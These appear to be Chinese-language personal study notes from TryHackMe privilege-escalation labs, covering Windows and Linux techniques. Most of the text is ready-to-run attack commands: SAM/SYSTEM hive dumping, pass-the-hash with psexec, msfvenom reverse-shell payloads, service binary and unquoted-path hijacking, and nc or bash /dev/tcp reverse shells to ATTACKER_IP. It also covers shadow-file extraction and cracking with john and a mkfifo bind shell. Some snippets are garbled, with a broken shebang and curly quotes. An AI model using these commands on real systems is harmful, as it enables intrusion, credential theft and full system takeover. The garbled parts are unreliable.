提权-windows-滥用特权

连接上目标主机后,输入下面命令查看所在组拥有的权限。

whoami /priv

SeChangeNotifyPrivilege(绕过遍历检查):启用此特权可以绕过对对象的遍历权限检查。它允许用户或进程在没有遍历权限的情况下访问对象,即使它们没有明确的权限来执行该操作。

SeIncreaseWorkingSetPrivilege(增加进程工作集):禁用此特权将阻止进程增加其工作集的大小。工作集是进程在内存中使用的一部分,它包含当前正在使用的代码和数据。启用此特权允许进程增加其工作集的大小,从而可能提高其性能。

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

有了这种能力,攻击者可以使用多种技术轻松提升系统权限。我们将研究的方法包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希值。
这个靶场的目标主机登陆的帐户属于“Backup Operators”组,默认情况下被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获得提升的控制台

下面是使用管理员权限登录的命令行

要备份 SAM 和 SYSTEM 哈希值,我们可以使用以下命令:命令提示符

C:\> reg save hklm\system C:\Users\THMBackup\system.hive

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive

这将创建几个包含注册表配置单元内容的文件。现在,我们可以使用SMB或任何其他可用方法将这些文件复制到kali。输入下面的命令设置共享文件夹。
user@attackerpc$ mkdir share
user@attackerpc$ python3 (py文件的地址)smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

/opt/impacket/examples/smbserver.py 这是py脚本,用来让目标主机访问kali共享文件夹的,可以在tryhackme的attackbox找到,可以通过attackbox开python传脚本到kali,然后再在kali使用。

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ 在目标主机复制文件到kali
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

通过下面的命令去得检索用户的哈希值

python3 secretsdump.py的地址 -sam sam.hive -system system.hive LOCAL
可以找到administrator密码的哈希值

于是可以使用管理员的哈希来执行哈希传递攻击并获得具有系统权限的目标计算机的访问权限:
python3 /root/Desktop/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 Administrator@10.10.76.255

运行命令后成功提权了

提权-windows

如同linux经常通过ssh远程,windows则喜欢rdp

在kali中,使用xfreerdp命令来远程连接桌面

xfreerdp /v:<远程计算机的 IP 地址或主机名> /u:<用户名> /p:<密码>

如:xfreerdp /v:10.10.111.230 /u:root /p:root

在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,您可能会遇到凭据:

<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户运行的命令直接包含密码作为 Powershell 命令行的一部分,则稍后可以通过在提示符下使用以下命令来检索密码cmd.exe

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
下图为历史命令,可以看到新建了一个用户。该命令只能在cmd运行

Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:

cmdkey /list

虽然看不到实际的密码,但如果发现任何值得尝试的凭据,则可以将它们与命令 runas 和 /savecred 选项一起使用,如下所示。

runas /savecred /user:admin cmd.exe  需要知道admin的密码

下图是使用cmdkey /list 查到的账号进行测试,因为windows记录了它的凭证所以runas和/savecred 命令能直接登录它的shell。

Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。IIS 上网站的配置存储在名为 的文件中,web.config并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

这是在文件上查找数据库连接字符串的快速方法:


type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
下图是找到数据库:

在windows中读取文本文件的命令是 type

PuTTY 是Windows 系统上常见的SSH客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码,但它将存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP客户端、SSH 客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。

计划任务

查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件或正在使用您可以修改的二进制文件。

可以使用不带任何选项的命令从命令行列出计划任务 schtasks 。要检索有关任何服务的详细信息,您可以使用如下命令:
schtasks /query /tn vulntask /fo list /v

如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用icacls
icacls c:\tasks\schtask.bat

从结果中可以看出,BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效负载。当受控机安装nc,就可以反弹shell到攻击机那

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

等计划任务启动时能监听到,或者手动运行schtasks /run /tn vulntask

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将它们配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能会让我们生成一个以管理员权限运行的恶意 MSI 文件。

注意: AlwaysInstallElevated 方法在此房间的计算机上不起作用,它仅供参考。

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容。命令提示符:在目标主机设置两个注册表

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,两者都应该设置。否则,利用将是不可能的。如果设置了这些,您可以使用 生成恶意 .msi 文件 msfvenom,如下所示:在kali生成恶意msi

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.111.230 LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向 shell,您还应该运行相应配置的 Metasploit 处理程序模块。传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:命令提示符:把kali生成的msi文件传输到目标主机,然后运行下面的命令

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Windows 服务由服务控制管理器(SCM)管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程。
想要了解某一个服务的结构,可以使用命令:
sc qc apphostsvc 来查看


(1)服务可执行文件的不安全权限

如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。

为了了解其工作原理,让我们看一下 Splinterware System Scheduler 上发现的漏洞。首先,我们将使用以下命令查询服务配置sc

sc qc WindowsScheduler

可以看到,易受攻击的软件安装的服务以 svcuser1 身份运行,并且与该服务关联的可执行文件位于C:\Progra~2\System~1\WService.exe. 然后我们继续检查可执行文件的权限

icacls C:\PROGRA~2\SYSTEM~1\WService.exe

观察有没有能利用的信息。注意到,本靶机的Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以payload覆盖它,并且该服务将使用配置的用户帐户的权限执行它,如果这个配置用户的账户时administrator,我们就相当于提权了。

使用 msfvenom 生成一个 exe-service 负载并通过 python Web 服务器提供它:

在kali中输入下面命令生成windows用的shell,以及用python生成一个服务供受害主机下载shell文件。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

python3 -m http.server 注意观察使用的协议以及端口号
在受害主机输入 powershell 打开powershell,需要在这个环境才能使用wget命令
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
下图为受害主机已经下载好了kali生成的shell文件

接下来就是要将这个文件替换某个高权限账户所拥有的服务

C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp 重命名原本的服务文件

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe 把shell文件传输到当前目录下,并改名和原本的服务一样,迷惑审查人员

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F 该命令是用于在Windows系统中设置文件权限的命令。具体来说,它将文件”WService.exe”的访问权限授予了”Everyone”组中的用户,并给予他们完全控制权限(Full Control)。通过执行此命令,任何属于”Everyone”组的用户都将能够完全访问和控制该文件。

随后这个计划任务的服务就被植入了shell文件,当它启动时,就可以监听发到了。在kali起一个nc的监听,然后等待服务重启或者手动重启服务,就能反弹shell,如下图:

C:\> sc stop windowsscheduler //sc用来管理控制windows服务

C:\> sc start windowsscheduler

(2)未加引号的服务路径

当我们无法像以前一样直接写入服务可执行文件时,仍然有机会通过使用相当模糊的功能来强制服务运行任意可执行文件。

使用 Windows 服务时,当服务配置为指向“未加引号”的可执行文件时,会出现非常特殊的行为。不加引号是指未正确引用关联可执行文件的路径以解决命令中的空格问题。也就是使用类似 sc qc “vncserver” 的命令查看某个服务时,一般正确的情况下关联路径会有双引号,告诉scm正确的路径名以及参数。如果某个服务的关联路径没有双引号,并且路径上存在空格的时候,可能会造成scm不能快速识别要执行的程序,因为scm会根据空格一层层查找可能存在的文件并且关联它。
因此可以利用没有引号的服务,让scm误使用恶意程序,并且是以这个服务的所属账号的权限运行,如果该账户时administrator,那么就可以提权。
下面是查看某文件夹acl

这是一个关于”c:\MyPrograms”目录的ACL(访问控制列表)的信息。ACL定义了对目录的访问权限和权限设置。解释每个条目的含义:
“NT AUTHORITY\SYSTEM”:为”NT AUTHORITY\SYSTEM”用户或组授予了完全控制权限((F))。这是Windows系统的内置账户,具有最高权限。
“BUILTIN\Administrators”:为”BUILTIN\Administrators”组授予了完全控制权限((F))。这是本地计算机上的内置管理员组。
“BUILTIN\Users”:为”BUILTIN\Users”组授予了读取和执行权限((RX))。这是本地计算机上的内置用户组。
“BUILTIN\Users”:为”BUILTIN\Users”组授予了目录的添加数据权限((AD))和写入数据权限((WD))。这意味着”BUILTIN\Users”组可以在目录中创建和修改文件。
“CREATOR OWNER”:为目录的创建者(即文件所有者)授予了完全控制权限((F))以及对目录的继承访问权限((IO)

继续练习,依然通过msfvenom来生成恶意文件,然后通过python的http服务下载到目标主机上。下图为sc命令查看某个服务,发现路径有空格但是没有使用引号,说明可以在空格处劫持这条服务,只需要让scm认为这条服务的关联可执行文件是Disk.exe就可以了

下面通过命令,移动生成的shell可执行文件到可以被劫持的目录下,并且修改名称为Disk.exe:
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

然后给予完全控制权限:
icacls C:\MyPrograms\Disk.exe /grant Everyone:F

通过下面命令重启服务就能触发反弹shell的exe文件了:
C:\> sc stop “disk sorter enterprise”
C:\> sc start “disk sorter enterprise”

按理说到这步就可以反弹shell了。如果遇到拦截,我也不知道咋办。

(3)不安全的服务权限

如果服务的可执行DACL配置良好,并且正确引用了服务的二进制路径,那么您仍然有机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

要从命令行检查服务DACL ,您可以使用Sysinternals 套件中的Accesschk 

在安装有Accesschk的路径下,运行accesschk64.exe -qlc thmservice

BUILTIN\\Users组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置服务
生成shell文件,传输到目标主机,输入下面命令赋予权限:
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后面的空格):命令提示符

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

然后重启服务触发shell

C:\> sc stop THMService

C:\> sc start THMService

linux-提权-PATH

echo $PATH看一眼环境变量

1.输入下面命令查看具有写权限的文件夹
find / -writable 2>/dev/null | cut -d “/” -f 2 | sort -u

而使用下面的命令则展示“消除了与进程运行相关”的结果
find / -writable 2>/dev/null | cut -d “/” -f 2,3 | grep -v proc | sort -u

通过下面命令把文件夹路径添加到环境变量中
export PATH=/tmp:$PATH

在攻击机编译一个c文件:

创建一个文件,写入下面代码:

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("thm");
}

gcc path-poc.c -o path -w //编译生成path

在被攻击机上,chmod u+s path提高权限,设置suid,让该文件以root权限运行

将下列文件保存为.py文件

usr/bin/python3

import os
import sys

try:
os.system(“thm”)
except:
sys.exit()

生成一个thm文件,内容为:
“/bin/bash” 将它chmod 777

生成thm文件,提升权限,运行./test:

关键是这个 test 文件。他是elf文件,里面的代码利用了PATH漏洞

linux-提权-cron计划任务

如果发现有root创建的计划任务并且普通用户能修改,那就可以写shell

1.输入命令 cat /etc/crontab 查看计划任务:

上图可见有一个root创建的备份文件

尝试反向弹shell:

在被攻击机的cron中的文件输入:
bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1

攻击机开启nc: nc -lvnp 6666

当被攻击机运行上述文件时,会反弹shell(ls -la看一下文件权限,需要的时候chmod +x 给一个执行权限)自动运行才弹root,不是自动运行的话只是弹文件所属人的shell,不算提权成功。


Crontab 始终值得检查,因为它有时会导致简单的特权升级。以下场景在不具备一定网络安全成熟度级别的公司中并不少见:

  1. 系统管理员需要定期运行脚本。
  2. 他们创建了一个 cron 作业来执行此操作
  3. 一段时间后,脚本变得无用,他们将其删除(但是计划任务还在)
  4. 他们不清理相关的 cron 作业

linux提权-Capabilities

所以尝试这个提权思路时,先用命令查看哪些程序有该属性:
getcap -r / 2>/dev/null 该命令运行后效果如下图:

可以看到vim可以设置uid,那就和GTFObins 网站联动,去查找vim相关的,复制粘贴Capabilities部分的命令:

./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'


如果上述不能用,尝试py写成py3,也就是根据系统python版本决定,若成功,会得到root的shell:


linux-提权-SUID、SGID

 SUID(设置用户标识)和 SGID(设置组标识)而改变。这些允许文件分别以文件所有者或组所有者的权限级别执行

find / -type f -perm -04000 -ls 2>/dev/null将列出设置了 SUID 或 SGID 位的文件:

一个好的做法是将此列表中的可执行文件与 GTFOBins ( https://gtfobins.github.io ) 进行比较。

GTFOBins 是一个精选的 Unix 二进制文件列表,可用于绕过错误配置系统中的本地安全限制。

该项目收集了可被滥用的 Unix 二进制文件的合法功能打破受限的 shell,升级或维护提升的特权,传输文件,生成绑定和反向 shell,并促进其他后期开发任务。


trhackme 提权 suid:

从上个步骤找到 路径下有base64,从下列网站找用法

https://gtfobins.github.io/gtfobins/base64/#suid查看用法。

1.LFILE=/etc/passwd

2.输入下列命令(在被攻击机),前面的路径在第一条命令展示的数据中。

/usr/bin/base64  "$LFILE" | base64 --decode

将列出来的结果放到passwd.txt(攻击机)中

3.同样的方式,处理/etc/shadow,LFILE=/etc/shadow
/usr/bin/base64 “$LFILE” | base64 –decode

把结果放到shadow.txt中(攻击机)


接下来使用unshadow工具

在攻击机打开终端,路径在passwd.txt同一个位置,输入:
unshadow passwd.txt shadow.txt > passwords.txt

此图片的alt属性为空;文件名为image-7.png

github下载好rockyou.txt后,输入命令(攻击机):
sudo john passwords.txt -wordlist=rockyou.txt
尝试爆破哈希,如下图成功爆破靶场的账户密码。

tryhackme的flag3.txt为啥也能用这个?除了root用户都不能cat这个文件,为啥直接用base64的思路,如果他不是base64加密的呢?

tryhackme-nc

1.监听与连接

监听端: nc -lvnp 9999

受控端: nc 控制端ip 9999


2.反弹shell

监听端: nc -lvnp 9999

受控端:bash -i > /dev/tcp/控制端ip/9999
bash -i > /dev/tcp/控制端/9999 0>&1

监听端:python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ //注意python根据监听端版本来选择pythonx,x为大版本。得到受控端的shell,注意到此时仍然不能使用ctrl C以及左右箭头。

上图右边红色框为输入命令后获取的shell

监听端:export TERM=xterm //之后可以使用术语命令比如clear

监听端:ctrl Z //此时shell在后台运行,监听端得以继续操控终端

监听端:stty raw -echo; fg //关闭监听端的终端回显,但是仍然可以使用tab补全、方向键、crtl c结束进程而不是退出shell,并且能够重新切换到受控端的shell。

++++++


3.有效载荷

A端:mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f //这条命令创建了一个管道用于传递数据,“tmp/f”是这个管道的名称,然后使用netcat开启监听端口,<代表将管道的输出视为监听的输入。

B端:nc A端ip PORT

//此时A的shell会弹到B处,B可以控制A

B端:ctrl C可以退出对A的控制